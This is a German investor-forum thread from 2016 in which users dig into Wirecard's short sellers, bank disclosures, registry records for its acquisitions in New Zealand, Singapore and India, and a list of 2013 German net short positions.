      Worldpay geht an die Börse. Eine der Banken, die an der Neuemission beteiligt sind ist die Credit Suisse. Da erscheint die Bewertung von diesem Schweizer Anal-ysten doch plötzlich in einem ganz anderen Licht.
      (hab ich erst die Tage auch geschrieben)

      smartcap
      Quelle: Goldman S.
      Disclosures as of Date: June 16, 2015
      Company: Wirecard
      Ticker: WDIG.DE
      Coverage Group: Europe-IT Services
      Covered by: Mohammed Moawalla
      Disclosure Codes
      Goldman Sachs had a non-securities services client relationship during the past 12 months.

      (also seit mindestens Juni 2014 und das steht auch im März 2016 noch da)
      bei Indra steht das auch und Moawalla covert auch
      Atos, Capgemini, Indra, Wirecard, Worldline, Worldpay Group

      (Quelle GS, März 2016)
      interessant noch ein Name, der unter der Indrastudie steht:
      Deepshikha Agarwal
      (212) 934-6961 deepshikha.agarwal@gs.com Goldman Sachs India SPL
      ob er identisch ist mit dem gleichnamigen director der indischen SIMTRON SOFTWARE ist mir unbekannt. Ups, sorry, das ist eine SIE :)
      https://www.zaubacorp.com/company/SIMTRON-SOFTWARE-PRIVATE-L…
      Gautam Pillai steht da auch (Teilnehmer für GS bei Bilanzkonferenz Wirecard)

      Insiderdeals wurden als Kaufsignal gesehen, Kurs etwas über 36
      Im April habe der Titel bei 42,72 Euro noch ein Allzeithoch markiert, ehe es bis Anfang Mai bis auf 34,67 Euro nach unten gegangen sei - ein Minus von 18,8 Prozent. (...) Angesichts der guten fundamentalen Entwicklung sei der Kursrückgang bei Wirecard kaum nachzuvollziehen.

      Zatarra kein Thema, shortseller kein Thema, Markus Braun kauft wie narrisch, Kurs fällt. Komisch.

      18.6.2015
      Stimmrechtsschwellen von 5 % wurden jeweils überschritten
      Und wer ist jeweils der Mitteilungspflichtige ?
      Die Credit Suisse
      Und wie hat dieselbe Credit Suisse Wirecard in der letzten Zeit bewertet ?
      Mit "Underperform" und einem Kursziel von 27 Euro !
      ... Und schon steigt die Aktie aktuell auf 36 Euro


      eine sehr interessante Meldung


      Rentfort, 19.6.15
      Credit Suisse hält mittelbar (höchstwahrscheinlich über ihre Fonds) 2,01 % der Aktien. Dies sind weniger als 3 % der Anteile. Keine Meldepflicht nach § 21 WpHG.
      Nun verleiht die Credit Suisse 2,78 % der Anteile an Dritte. Sie hat aber selber nicht genung Aktien, darum besorgt sie sich weitere über einen Equity Swap (0,5%). Der mittelbare Bestand und beide Transaktionen lösen nun eine Schwellenüberschreitung der Schwelle von 5 % aus.


      CPPIB hat am 11.06. das letzte mal Leerverkäufe getätigt anschließen hat Credit Suisse am 12.06. die Meldeschwelle überschritten und sollten die beiden zusammenarbeiten, dann müßte nun die Meldung kommen, dass CPPIB reduziert. Vielleicht sind die Credit Suisse Käufe für CPPIB?
      Nur eine Vermutung, vielleicht liege ich komplett falsch. (Ende des Zitats)
      CPPIB = Canada Pension Plan Investment Board

      Jetzt waren shorts ein Thema!

      Finde es immer nur interressant, soviel Zeit mit dem Bashen einer Aktie zu verbringen:O und zu glauben das man mit Einträgen in WO, Auswirkungen auf den Markt erzielen kann:laugh:.

      auch das hat damals begonnen :)

      rentfort
      Die massiven Shortangriffe gehen weiter. Allein auf Xetra heute über 1,1 Mio. gehandelte Aktien mit einem Kursverlust von über 3 % bei einem sehr, sehr starken Markt.
      Warum aber Wirecard? Die Jäger jagen doch bekanntlich das schwächste Tier. Bei Manz, Aixtron, Bilfinger und Co. fällt es mir nicht schwer nachzuvollziehen, warum es gerade hier große Shortpositionen gibt. Was aber ist die Motivation der Shortseller das Alpha-Tier zu jagen?


      szew, blogger, 22.6.
      In meiner Analyse vom 22.05. hatte ich den fairen Wert von Wirecard ja auf 33€ berechnet, da stand er noch bei 39€. Langsam kommen wir wieder in einen interessanten Bereich, bei 30€ würde ich mir auch welche ins Depot legen.


      22.6.
      Aktuelle Netto-Leerverkaufspositionen der Leerverkäufer der Hedgefonds in den Aktien der Wirecard AG:

      1,72% Canada Pension Plan Investment Board (10.06.2015)
      0,75% Coatue Management, L.L.C. (11.06.2015)
      0,55% Dalton Strategic Partnership LLP (20.05.2015)


      ebenfalls 22.6.: ernestof sieht Parallele zu 2010
      http://www.it-times.de/news/wirecard-opfer-von-shortseller-a…

      Dann plätschert es ungestört dahin
      yami-go im August:
      Gemach ist angesagt..ich habe je 500 Stück nochmal nachgekauft zu 35,99 und 39,04.....habe nun einen sehr guten Durchschnitt...jetzt lasse ich laufen.
      1 Antwort
      Avatar
      schrieb am 26.04.16 00:25:19
      Beitrag Nr. 56 ()
      Antwort auf Beitrag Nr.: 52.274.134 von jigajig am 26.04.16 00:23:29
      Zitat von Smudo: Der Indien Deal ist ein Riesen Problem.
      Das glaube ich nicht. Es gibt Konkurrenz, aber Wirecard hat Visa im Rücken (es sei denn, da läuft etwas anderes) und hat in Asien eine gute Position.
      Immerhin gab es erst vor 2 Jahren ein fettes Geschäft, das etwas zu kurz kommt in der Diskussion:

      Wirecard-Aktie: Milliardenübernahme

      11.12.2014 13:23

      http://www.deraktionaer.tv/video/wirecard-aktie-milliardenue…

      Eigentlich wollte ich jetzt einiges zu diesem Kauf in Australien recherchieren, aber daraus wurde ein Rückblick auf diesen Thread. Sehr spannend! Von den ersten Leerverkaufspositionen bis hin zu CreditSuisse und viele andere Themen...
      mehr auf dem Sofa
      Zitat von jigajig: Kauf in Australien und Rückblick über den Thread...
      Avatar
      schrieb am 26.04.16 09:37:18
      Beitrag Nr. 57 ()
      GB 2012 GFG GROUP
      http://web.archive.org/web/20150113191626/http://www.gfg-gro…


      GFG Group has reported solid revenue and profit growth for the year ended 31 March 2012. Revenue increased by 15 percent, with profit before tax (EBITDA) of 10 percent of revenue. Growth is forecast to continue through the 2013 financial year.

      The results are in line with expectations, says GFG Group Executive Director Dennis Row. “Over the last two years we’ve focussed on building stability and consistency in the company. Our results show we’ve achieved that – this year we’re pleased to report consistent and profitable growth for GFG Group. This is a direct result of continued investment in the company, and of focussing on executing our card and mobile convergence strategy,” he says.

      Row says highlights for the 2012 year included the signing of 32 new customers across all regions, including in GFG Group’s key target markets of South East Asia, Africa and the Middle East. Sales were strong across each of GFG’s three main product lines: Cadencie (card payments), Simfonie (mobile payments) and its FINsim testing tool. New FINsim customers included a highly strategic sale to Indonesia’s market leading and largest electronic payment services network, Artajasa.

      Row says market demand for convergent card and mobile payment solutions is strong and intensifying. This demand, along with the rapid uptake of mobile payments and mobile banking, is driving GFG Group’s card and mobile convergence strategy.

      Demand for complete, integrated card and mobile payments solutions has seen GFG Group evolve from a specialist payments consultancy into a well-rounded electronic payments solutions provider, Row says.

      “We have traditionally had good success with our entire solution set, encompassing proven card and mobile payment solutions, as well as testing. We’re now capitalising on this platform by delivering robust, secure, end-to-end payment solutions spanning all mobile devices and card types. Our experience with both card and mobile payment solutions means we’re uniquely well placed in a rapidly growing market. We can deliver tailored, end-to-end converged electronic payment solutions that fit our existing and new customers’ business needs – in both developed and emerging markets.”

      Other 2012 highlights, Row says, include high retention of existing customers, with several major upgrades and new implementations to meet market demands. Continuing investment in product development has resulted in new software releases. These include enhanced issuing and acquiring features in Cadencie, and new agent and reseller management features in Simfonie.

      “The 2013 financial year has kicked off solidly and we are forecasting similar growth compared to the last two years,” Row says. “The convergence of card and mobile will remain a key focus for us. We will continue to execute our mobile and card convergence strategy around the market’s uptake of mobile payments and mobile banking. We have a significant competitive advantage in our ability to provide bank-grade convergent card and mobile payment solutions for both developed and emerging markets. We will be working with key strategic partners in our target markets to do that,” he says.

      (Auckland, New Zealand. 01 June 2012.)
      Avatar
      schrieb am 26.04.16 22:47:45
      Beitrag Nr. 58 ()
      Zitat von Smudo: Auf irgendwelchen Seiten findet man sie schon, aber nichts offizielles, was mega unseriös ist.

      alles nur eine Frage der Google-Fantasie
      https://goo.gl/QDxCI5
      Möglicherweise kommt das aber aus früherer Zeit, da laut web-Archiv Dubai später als Standort nicht mehr genannt wurde
      Accredited by the World Bank, GFG Group is a leading global provider of electronic payments solutions and services to more than 90 banks and MNOs in over 25 countries, including three of the world’s top 30 MNOs. GFG’s Java-based CadencieTM (card management system) and SimfonieTM (mobile payments) applications enable customers to launch products up to 55 percent faster, with operational cost savings of up to 70 percent. GFG Group is based in Auckland, New Zealand, with offices in Melbourne, Manila, Singapore and Dubai.

      Dr. Markus Braun, CEO von Wirecard, sagt: „Wir freuen uns, die GFG in unsere Unternehmensgruppe aufzunehmen, die unsere Position in Neuseeland, Australien sowie Südostasien stärkt und das Produktportfolio des Wirecard Konzerns für weltweite Wachstumsmärkte erweitert.“

      2011 war Dubai noch da
      http://goo.gl/HIJuU3
      Dann passierte ein Jahr nichts laut Webarchiv. Ende 2012 war Dubai immer noch da.
      Da war richtig was los bei GFG
      28 March 2012

      GFG Group has appointed senior management team member Wayne Robinson to the new position of Senior Vice President – Sales and Marketing, based in Auckland. Robinson will continue to manage GFG’s growth in the Middle East/Africa region while actively recruiting for his replacement.

      2013 oder Anfang 2014 war Dubai dann plötzlich weg
      Ohne News, die sahen noch genauso aus wie im Jahr zuvor.
      Andreas Kazamias brachte dann frischen Wind, Anfang 2014 und wohl auch Katherine David mit, dann war die Nachrichtenlage wieder eher mau bis 2015. Laut Webarchiv passierte in dieser Hinsicht eher gar nix.
      Im August 2015 nicht einmal news über einen Verkauf oder so. Nada.

      Im Januar 2016 immer noch nichts zu sehen von Wirecard
      http://goo.gl/o9w3aa

      Erst am 12. März 2016 endlich Bewegung!

      https://www.gfg-group.com/category/news/ | 8:33:24 Mär 12, 2016
      Got an HTTP 302 response at crawl time
      Redirecting to...
      https://www.wirecard.com/newsroom/newsroom/


      vielleicht sprechen wir alle aber auch einfach von der falschen Firma???
      https://goo.gl/fwWLyJ

      New Zealand flag GFG GROUP LIMITED (New Zealand, 14 Dec 2006- , 1 Lennel Road, Wadestown, 6001 -wellington)
      New Zealand flag WIRECARD NZ LIMITED (New Zealand, 30 Oct 1991- , Level 10, Crombie Lockwood Tower, 191 Queen Street, Auckland) Previously/Alternatively known as GFG GROUP LIMITED


      GFG GROUP LIMITED
      ehemals HYKNUSA LIMITED (bis März 2016)
      ehemals CAPUT MUNDI CONSULTING LIMITED

      WIRECARD NZ LIMITED

      Company Number
      518165
      Status
      Registered
      Incorporation Date
      30 October 1991 (over 24 years ago)
      Company Type
      NZ Limited Company
      Jurisdiction
      New Zealand
      Business Number
      9429039073440
      Registered Address

      Level 10, Crombie Lockwood Tower, 191 Queen Street, Auckland
      NZ

      Previous Names

      GFG GROUP LIMITED
      GFG PARTNERS LIMITED
      GREEN FLEMING GOLDFINCH PARTNERS LIMITED


      Directors / Officers

      Andreas KAZAMIAS, director, 10 Dec 2014-
      Arne MATTHIAS, director, 10 Dec 2014-
      Fook Sun NG, director, 10 Dec 2014-
      John Leonard NICHOLSON, director, 25 Oct 2015-
      ...[/quote]

      Die Firma heißt seit dem 29. Februar 2016 WIRECARD NZ LIMITED

      http://www.business.govt.nz/companies/app/ui/pages/companies…
      Avatar
      schrieb am 27.04.16 20:52:53
      Beitrag Nr. 59 ()
      Da mich wirecard heute eher langweilt, beschäftige ich mich lieber etwas mit der Geschichte von Börsenschwindel in Deutschland. Da habe ich wieder eine nette Geschichte entdeckt
      http://www.spiegel.de/spiegel/print/d-44943627.html
      Bernie Cornfeld! Ich war noch nicht einmal geboren!
      Bernard („Bernie“) Cornfeld (* 17. August 1927 in Istanbul, Türkei; † 27. Februar 1995 in London, Vereinigtes Königreich) war ein US-amerikanischer Unternehmer, der beschuldigt wurde, betrügerische Investments in US-Anlagefonds verkauft zu haben.

      Investors Overseas Services in Panama
      Das begann schon nach dem Krieg
      Die IOS bestand in den ersten Jahren aus Bernard Cornfeld und einigen nach und nach von ihm angeworbenen Mitarbeitern für den Tür-zu-Tür-Verkauf amerikanischer Aktienfonds. Der US-Amerikaner Cornfeld kam Anfang 1956 von New York nach Paris. Dort fiel ihm auf, dass es für den Verkauf von Aktienfonds in Europa eine attraktive Zielgruppe gab: die nach dem Ende des Zweiten Weltkriegs rund 800.000 stationierten US-Soldaten. Gleichzeitig registrierte er eine große Anzahl von im Ausland lebenden US-Zivilpersonen, die auf der Suche nach einer Beschäftigung waren. Aus dieser Gruppe rekrutierte er zunächst seine Mitarbeiter. Am Anfang wurden von Cornfeld Anteile des IPC-Fonds von Walter Benedick verkauft, bei dem Cornfeld ab 1952 bis zu seinem Umzug nach Paris die Grundzüge des Verkaufs von Aktienfonds und vor allem den Aufbau und die Funktionsweise einer Strukturvertriebsorganisation kennengelernt hatte.

      Es gab damals eine Menge deutscher Betroffener.
      Tja. Was hat das mit der heutigen Wirecard zu tun?
      Hmm. Vielleicht nichts. Vielleicht auch nicht nichts. Findet es heraus :)

      P.S.:
      Keine der in diesen Artikeln erwähnten Firmen und Personen haben irgendeine Beziehung zur Wirecard AG und derzeit oder jemals dort tätigen Personen, wohl aber zu ehemals dort handelnden Personen.

      Nähere Auskünfte zu meinen Gründen, diese Geschichte zu erzählen, werde ich nicht geben. Aber es gibt durchaus noch einen klitzekleinen Bezug in die Gegenwart, der mir interessant genug vorkommt.

      Man kann es googlen." target="_blank" rel="nofollow ugc noopener">http://www.spiegel.de/spiegel/print/d-44943627.html
      Bernie Cornfeld! Ich war noch nicht einmal geboren!
      Bernard („Bernie“) Cornfeld (* 17. August 1927 in Istanbul, Türkei; † 27. Februar 1995 in London, Vereinigtes Königreich) war ein US-amerikanischer Unternehmer, der beschuldigt wurde, betrügerische Investments in US-Anlagefonds verkauft zu haben.

      Investors Overseas Services in Panama
      Das begann schon nach dem Krieg
      Die IOS bestand in den ersten Jahren aus Bernard Cornfeld und einigen nach und nach von ihm angeworbenen Mitarbeitern für den Tür-zu-Tür-Verkauf amerikanischer Aktienfonds. Der US-Amerikaner Cornfeld kam Anfang 1956 von New York nach Paris. Dort fiel ihm auf, dass es für den Verkauf von Aktienfonds in Europa eine attraktive Zielgruppe gab: die nach dem Ende des Zweiten Weltkriegs rund 800.000 stationierten US-Soldaten. Gleichzeitig registrierte er eine große Anzahl von im Ausland lebenden US-Zivilpersonen, die auf der Suche nach einer Beschäftigung waren. Aus dieser Gruppe rekrutierte er zunächst seine Mitarbeiter. Am Anfang wurden von Cornfeld Anteile des IPC-Fonds von Walter Benedick verkauft, bei dem Cornfeld ab 1952 bis zu seinem Umzug nach Paris die Grundzüge des Verkaufs von Aktienfonds und vor allem den Aufbau und die Funktionsweise einer Strukturvertriebsorganisation kennengelernt hatte.

      Es gab damals eine Menge deutscher Betroffener.
      Tja. Was hat das mit der heutigen Wirecard zu tun?
      Hmm. Vielleicht nichts. Vielleicht auch nicht nichts. Findet es heraus :)

      P.S.:
      Keine der in diesen Artikeln erwähnten Firmen und Personen haben irgendeine Beziehung zur Wirecard AG und derzeit oder jemals dort tätigen Personen, wohl aber zu ehemals dort handelnden Personen.

      Nähere Auskünfte zu meinen Gründen, diese Geschichte zu erzählen, werde ich nicht geben. Aber es gibt durchaus noch einen klitzekleinen Bezug in die Gegenwart, der mir interessant genug vorkommt.

      Man kann es googlen.[/quote]
      Avatar
      schrieb am 27.04.16 21:13:06
      Beitrag Nr. 60 ()
      aha
      Wohlhabender an die Schweizer Volksabstimmungs - Initiative 1:12 zur Begrenzung der Lohnspreizung

      Die Ungleichverteilung von Einkommen und Vermögen wird zunehmend zu einem gesellschaftlichen Problem. Neben Steuervergünstigungen für Wohlhabende ist es vor allem der explosive Anstieg der Vorsteuereinkommen an der Spitze, die zur großen Lohnspreizung beitragen. Die Schweizer Initiative 1:12 macht diesbezüglich einen interessanten Vorschlag: In jedem Unternehmen soll der höchste Lohn nicht mehr als das Zwölffache des geringsten Lohnes betragen. Eine Lohnspanne in dieser Größenordnung war vor drei Jahrzehnten auch noch in Deutschland üblich: heute beträgt diese Spanne in Deutschland bis zum 300-fachen und mehr.

      Wir als Wohlhabende aus Deutschland beglückwünschen die Schweizer Bevölkerung, dass sie über einen solchen Vorschlag abstimmen kann. Wenn diese Initiative angenommen würde, wäre das ein sehr begrüßenswertes Signal auf globaler Ebene. Wir setzen uns dafür ein, dass auch in Deutschland eine vergleichbare Diskussion geführt wird mit dem Ziel, die Lohnspreizung wieder auf ein vernünftiges Maß zurückzuführen.

      Berlin, den 5.11.2013

      Diesen Brief haben 30 Personen unterzeichnet:

      Dieter Lehmkuhl, Eva Stilz, Günter Grzega, Dieter Schultze-Zeu, Michael Horbach, Georg Schramm, Bettina Bock, Wiebke Jung, Dieter Dehm, Hermann Dass,Stefan Hörster, Gesine Edding, Peter Reeg, Hermann Wiefels, Günther Bock, Ive Hauswald, Reinhard Jung, I. Lautenschläger, Dieter Strobel

      und weitere elf namentlich hinterlegte Personen.
      Avatar
      schrieb am 28.04.16 00:25:07
      Beitrag Nr. 61 ()
      Es gibt aber noch mehr, das ich nicht verstehe
      Die Wirecard AG und Visa Inc. haben heute eine Kooperation im Bereich der Herausgabe von Prepaid-Karten vereinbart und bekräftigen so ihr gemeinsames Engagement in den weltweiten Prepaid-Wachstumsmärkten, insbesondere in Südost-Asien und Lateinamerika. Im Zuge der Partnerschaft haben Wirecard und Visa Inc. heute einen Vertragsabschluss bekannt gegeben, durch den Wirecard bestimmte Vermögenswerte der in Singapur ansässigen Visa Processing Services (VPS) sowie sämtliche Anteile (Shares) an der Visa Processing Services (India) Private Limited für USD 16 Millionen übernimmt. Weitere Einzelheiten wurden nicht veröffentlicht.

      Darüber hinaus ist Wirecard dem Visa Issuer Processing Program beigetreten, welches Finanzinstitute und führende Prepaid Issuing Prozessoren verbindet, um die Verbreitung von Prepaid Programmen weltweit zu fördern und zu unterstützen.
      Dr. Markus Braun, CEO der Wirecard AG sagt: „Die Zusammenarbeit mit Visa im Bereich Prepaid-Processing und die Übernahme von Visa Processing Service stärken unsere Position im weltweiten Prepaid-Markt. Es freut uns gemeinsam mit Visa an der weltweiten Verbreitung von Visa Prepaidkarten mitzuwirken.“

      Wirecard sieht insbesondere in Asien - einem Markt, der weltweit führend ist, in der Verbreitung kontaktloser Zahlungsakzeptanz im stationären Handel – ein deutliches Wachstumspotential für mobile Bezahllösungen unter Nutzung von Visa Prepaid-Karten.

      https://www.wirecard.de/newsroom/pressemeldungen/newsdetail/…

      Wirecard zahlt 16 Mio, um VISA zu helfen, VISA-Karten zu verbreiten. Ok.
      Am besten gefällt mir folgende Zusammenfassung bei Bloomberg
      http://www.bloomberg.com/research/stocks/private/snapshot.as…
      As of February 23, 2015, Visa Processing Services (India) Private Limited and Certain Assets of Visa Processing Service Pte. was acquired by Wirecard AG. Visa Processing Services (India) Private Limited and Certain Assets of Visa Processing Service Pte. represents the combined operations of Visa Processing Services (India) Private Limited and certain assets of Visa Processing Service Pte. in their sale to Wirecard AG. Visa Processing Services (India) Private Limited provides solutions for payment processing needs. Certain ssets of Visa Processing Service Pte. provides solutions for payment processing needs.

      Aha.

      Und warum gründete VISA die Firma?
      Expanding our processing capabilities worldwide is a core component of our long-term growth strategy. As part of this strategy, we created Visa Processing Services Pte. Ltd. (“VPS”), a joint venture with Yalamanchili International Pte. Ltd. (“Yalamanchili”), in which we hold a majority interest. Yalamanchili is a payments processor and software company with operations in Asia.

      VPS will allow us to extend our industry-leading processing capabilities in geographies where electronic payments are growing rapidly

      (VISA, SEC file, 2009)
      Dann hörte man kaum mehr etwas davon irgendwie.

      Jetzt 2016 heißt es
      „Wir freuen uns, Wirecard mit der Bereitstellung einer Visa Prepaid-Issuing-Lizenz dabei zu unterstützen, lokal verbundenen sowie kleineren und mittleren Unternehmen Karten-Lösungen anbieten zu können – ein Markt, in dem wir großes Potenzial sehen. Über unsere Visa Entwickler-Plattform stellen wir Anwendungs-Schnittstellen (API’s) bereit. In Kombination mit der Wirecard-Kooperation erleichtern wir Innovatoren und FinTech-Unternehmen den Weg zur Bereitstellung neuer und sicherer Payment-Angebote“, sagt T.S. Anil, Head of Products, Visa Asia Pacific.

      Das macht Visa. Weil Wirecard so toll ist. Warum auch sonst.

      Ich kapier es einfach nicht, was VISA damit bezweckt.


      übrigens:
      201008569C
      WIRECARD PTE. LTD. (Card Techno Pte)
      Card Techno Pte Ltd/Wirecard Pte Ltd
      was ist das?
      ? ein Artefakt ?


      WIRECARD ASIA HOLDING PTE. LTD.
      201429281D
      8 MARINA VIEW
      #40-01
      ASIA SQUARE TOWER 1
      SINGAPORE (018960)
      ?
      112 Robinson Road #05-01
      [unbestätigt]


      200604351D
      E-PAYMENT ASIA PTE LTD (2006)
      =
      E-CREDIT PLUS PTE LTD
      =
      WIRECARD ASIA PTE. LTD.

      112 ROBINSON ROAD #05-01 ROBINSON 112 SINGAPORE 068902


      WIRECARD SINGAPORE PTE. LTD.
      (Systems@Work Pte Ltd)
      199906900E
      wirecard.com.sg, paymentlink.com.sg, ezrewards.com.sg, telemoney.com.sg
      8 MARINA VIEW
      #40-01
      ASIA SQUARE TOWER 1
      SINGAPORE (018960)
      [108 Pasir Panjang Road Singapore ?]

      Asia Pacific E-Serv Corporation (Rafael Dazo Legaspi)
      Asia Pacific Eserv Corp (Legaspi)
      siehe
      [info@aspaconline.com]
      As Rafael Legaspi of ASIA PACIFIC E-SERV CORPORATION info@aspaconline.com since June, 2015
      1 Antwort
      Avatar
      schrieb am 28.04.16 00:38:20
      Beitrag Nr. 62 ()
      Antwort auf Beitrag Nr.: 52.293.895 von jigajig am 28.04.16 00:25:07
      Zitat von jigajig: Es gibt aber noch mehr, das ich nicht verstehe
      Die Wirecard AG und Visa Inc. haben heute eine Kooperation im Bereich der Herausgabe von Prepaid-Karten vereinbart und bekräftigen so ihr gemeinsames Engagement in den weltweiten Prepaid-Wachstumsmärkten, insbesondere in Südost-Asien und Lateinamerika. Im Zuge der Partnerschaft haben Wirecard und Visa Inc. heute einen Vertragsabschluss bekannt gegeben, durch den Wirecard bestimmte Vermögenswerte der in Singapur ansässigen Visa Processing Services (VPS) sowie sämtliche Anteile (Shares) an der Visa Processing Services (India) Private Limited für USD 16 Millionen übernimmt. Weitere Einzelheiten wurden nicht veröffentlicht.

      Darüber hinaus ist Wirecard dem Visa Issuer Processing Program beigetreten, welches Finanzinstitute und führende Prepaid Issuing Prozessoren verbindet, um die Verbreitung von Prepaid Programmen weltweit zu fördern und zu unterstützen.
      Dr. Markus Braun, CEO der Wirecard AG sagt: „Die Zusammenarbeit mit Visa im Bereich Prepaid-Processing und die Übernahme von Visa Processing Service stärken unsere Position im weltweiten Prepaid-Markt. Es freut uns gemeinsam mit Visa an der weltweiten Verbreitung von Visa Prepaidkarten mitzuwirken.“

      Wirecard sieht insbesondere in Asien - einem Markt, der weltweit führend ist, in der Verbreitung kontaktloser Zahlungsakzeptanz im stationären Handel – ein deutliches Wachstumspotential für mobile Bezahllösungen unter Nutzung von Visa Prepaid-Karten.

      https://www.wirecard.de/newsroom/pressemeldungen/newsdetail/…

      Wirecard zahlt 16 Mio, um VISA zu helfen, VISA-Karten zu verbreiten. Ok.
      Am besten gefällt mir folgende Zusammenfassung bei Bloomberg
      http://www.bloomberg.com/research/stocks/private/snapshot.as…
      As of February 23, 2015, Visa Processing Services (India) Private Limited and Certain Assets of Visa Processing Service Pte. was acquired by Wirecard AG. Visa Processing Services (India) Private Limited and Certain Assets of Visa Processing Service Pte. represents the combined operations of Visa Processing Services (India) Private Limited and certain assets of Visa Processing Service Pte. in their sale to Wirecard AG. Visa Processing Services (India) Private Limited provides solutions for payment processing needs. Certain ssets of Visa Processing Service Pte. provides solutions for payment processing needs.

      Aha.

      Und warum gründete VISA die Firma?
      ...
      (VISA, SEC file, 2009)
      Dann hörte man kaum mehr etwas davon irgendwie.

      Jetzt 2016 heißt es
      „Wir freuen uns, Wirecard mit der Bereitstellung einer Visa Prepaid-Issuing-Lizenz dabei zu unterstützen, lokal verbundenen sowie kleineren und mittleren Unternehmen Karten-Lösungen anbieten zu können – ein Markt, in dem wir großes Potenzial sehen. Über unsere Visa Entwickler-Plattform stellen wir Anwendungs-Schnittstellen (API’s) bereit. In Kombination mit der Wirecard-Kooperation erleichtern wir Innovatoren und FinTech-Unternehmen den Weg zur Bereitstellung neuer und sicherer Payment-Angebote“, sagt T.S. Anil, Head of Products, Visa Asia Pacific.

      Das macht Visa. Weil Wirecard so toll ist. Warum auch sonst.

      Ich kapier es einfach nicht, was VISA damit bezweckt.


      übrigens:
      201008569C
      WIRECARD PTE. LTD. (Card Techno Pte)
      Card Techno Pte Ltd/Wirecard Pte Ltd
      was ist das?
      ? ein Artefakt ?


      WIRECARD ASIA HOLDING PTE. LTD.
      201429281D
      8 MARINA VIEW
      #40-01
      ASIA SQUARE TOWER 1
      SINGAPORE (018960)
      ?
      112 Robinson Road #05-01
      [unbestätigt]


      200604351D
      E-PAYMENT ASIA PTE LTD (2006)
      =
      E-CREDIT PLUS PTE LTD
      =
      WIRECARD ASIA PTE. LTD.

      112 ROBINSON ROAD #05-01 ROBINSON 112 SINGAPORE 068902


      WIRECARD SINGAPORE PTE. LTD.
      (Systems@Work Pte Ltd)
      199906900E
      wirecard.com.sg, paymentlink.com.sg, ezrewards.com.sg, telemoney.com.sg
      8 MARINA VIEW
      #40-01
      ASIA SQUARE TOWER 1
      SINGAPORE (018960)
      [108 Pasir Panjang Road Singapore ?]

      Asia Pacific E-Serv Corporation (Rafael Dazo Legaspi)
      Asia Pacific Eserv Corp (Legaspi)
      siehe
      [info@aspaconline.com]
      As Rafael Legaspi of ASIA PACIFIC E-SERV CORPORATION info@aspaconline.com since June, 2015
      Avatar
      schrieb am 28.04.16 00:41:03
      Beitrag Nr. 63 ()
      YALAMANCHILI International Pte Ltd
      RMZ Millenia Business Park, Campus - 2, 10th floor, #143, MGR Road, Perungudi
      Chennai , Tamil Nadu 600 096
      India

      https://www.zaubacorp.com/documents/VISA-PROCESSING-SERVICE-…

      visa processing service = wirecard india private limited
      Avatar
      schrieb am 29.04.16 08:11:43
      Beitrag Nr. 64 ()
      short deutschland history

      Germany: Historical Stock Data


      Date, Fund, Company, Net Short Position (%)
      5/30/2013, Maverick Capital, AIXTRON SE, 3.89%
      5/30/2013 ,Highbridge Capital Management LLC, LANXESS Aktiengesellschaft, 0.72%
      5/29/2013 ,Barrington Wilshire LLC, AIXTRON SE, 1.27%
      5/29/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.36%
      5/28/2013 ,Sothic Capital Management LLP, Heidelberger Druckmaschinen Aktiengesellschaft, 1.23%
      5/28/2013, Maverick Capital, AIXTRON SE, 4.25%
      5/23/2013, GLG Partners LP, IVG Immobilien AG, 1.09%
      4/4/2013 ,Oxford Asset Management, SAF-HOLLAND GmbH, 1.4%
      5/22/2013 ,Sothic Capital Management LLP, Heidelberger Druckmaschinen Aktiengesellschaft, 1.64%
      5/22/2013, Maverick Capital, AIXTRON SE, 4.97%
      5/22/2013 ,Highbridge Capital Management LLC, Drillisch Aktiengesellschaft, 1.13%
      5/17/2013 ,Highbridge Capital Management LLC, Drillisch Aktiengesellschaft, 0.88%
      5/17/2013, CQS (UK) LLP, TUI AG, 0.65%
      5/16/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 4.03%
      5/15/2013, Maverick Capital, AIXTRON SE, 5.42%
      5/15/2013 ,Highbridge Capital Management LLC, LANXESS Aktiengesellschaft, 0.49%
      5/14/2013 ,AKO Capital LLP, Celesio AG, 2.3%
      5/14/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.88%
      5/9/2013, GAM Investment Management Lugano SA, DIALOG SEMICONDUCTOR PLC, 1.26%
      5/8/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.62%
      5/7/2013 ,OXFORD Asset Management, IVG Immobilien AG, 0.83%
      5/7/2013 ,Sothic Capital Management LLP, IVG Immobilien AG, 1.57%
      5/2/2013, Maverick Capital, AIXTRON SE, 5.99%
      4/24/2013 ,AQR Capital Management LLC, Dialog Semiconductor Plc, 2.52%
      4/23/2013, Polygon Global Partners LLP, Air Berlin PLC, 0.5%
      4/22/2013 ,Sothic Capital Management LLP, IVG Immobilien AG, 1.32%
      4/22/2013 ,Highbridge Capital Management LLC, Drillisch Aktiengesellschaft, 1.06%
      4/18/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.36%
      4/17/2013, GLG Partners LP, IVG Immobilien AG, 0.6%
      4/15/2013, Marshall Wace LLP, freenet AG, 0.44%
      4/15/2013 ,Highbridge Capital Management LLC, Drillisch Aktiengesellschaft, 1.22%
      4/12/2013 ,AKO Capital LLP, METRO AG, 1.39%
      4/10/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.42%
      4/10/2013 ,OXFORD Asset Management, IVG Immobilien AG, 1.12%
      4/10/2013, BlackRock Institutional Trust Company National Association, AIXTRON SE, 0.66%
      4/9/2013, Maverick Capital, AIXTRON SE, 6.17%
      4/9/2013 ,DNB Asset Management AS, Süss MicroTec AG, 1.31%
      4/4/2013 ,Sothic Capital Management LLP, IVG Immobilien AG, 0.91%
      4/8/2013 ,D. E. Shaw & Co. (U.K.) Ltd., Drägerwerk AG & Co. KGaA, 1.32%
      4/8/2013, BlackRock Institutional Trust Company National Association, AIXTRON SE, 0.51%
      4/8/2013 ,Universal-Investment-Luxembourg S.A.t, IVG Immobilien AG, 0.57%
      4/8/2013 ,AQR Capital Management LLC, Dialog Semiconductor Plc, 2.25%
      4/5/2013 ,Sothic Capital Management LLP, Praktiker AG, 2.7%
      4/3/2013, Marshall Wace LLP, freenet AG, 0.52%
      4/2/2013, Maverick Capital, AIXTRON SE, 6.46%
      4/2/2013 ,Sheffield Asset Management L.L.C., Heidelberger Druckmaschinen Aktiengesellschaft, 1.17%
      4/2/2013 ,Highbridge Capital Management LLC, Drillisch Aktiengesellschaft, 0.68%
      4/2/2013, , S.A.C. Global Investors LLP, COMMERZBANK Aktiengesellschaft – Rechtsabteilung, 0.5%
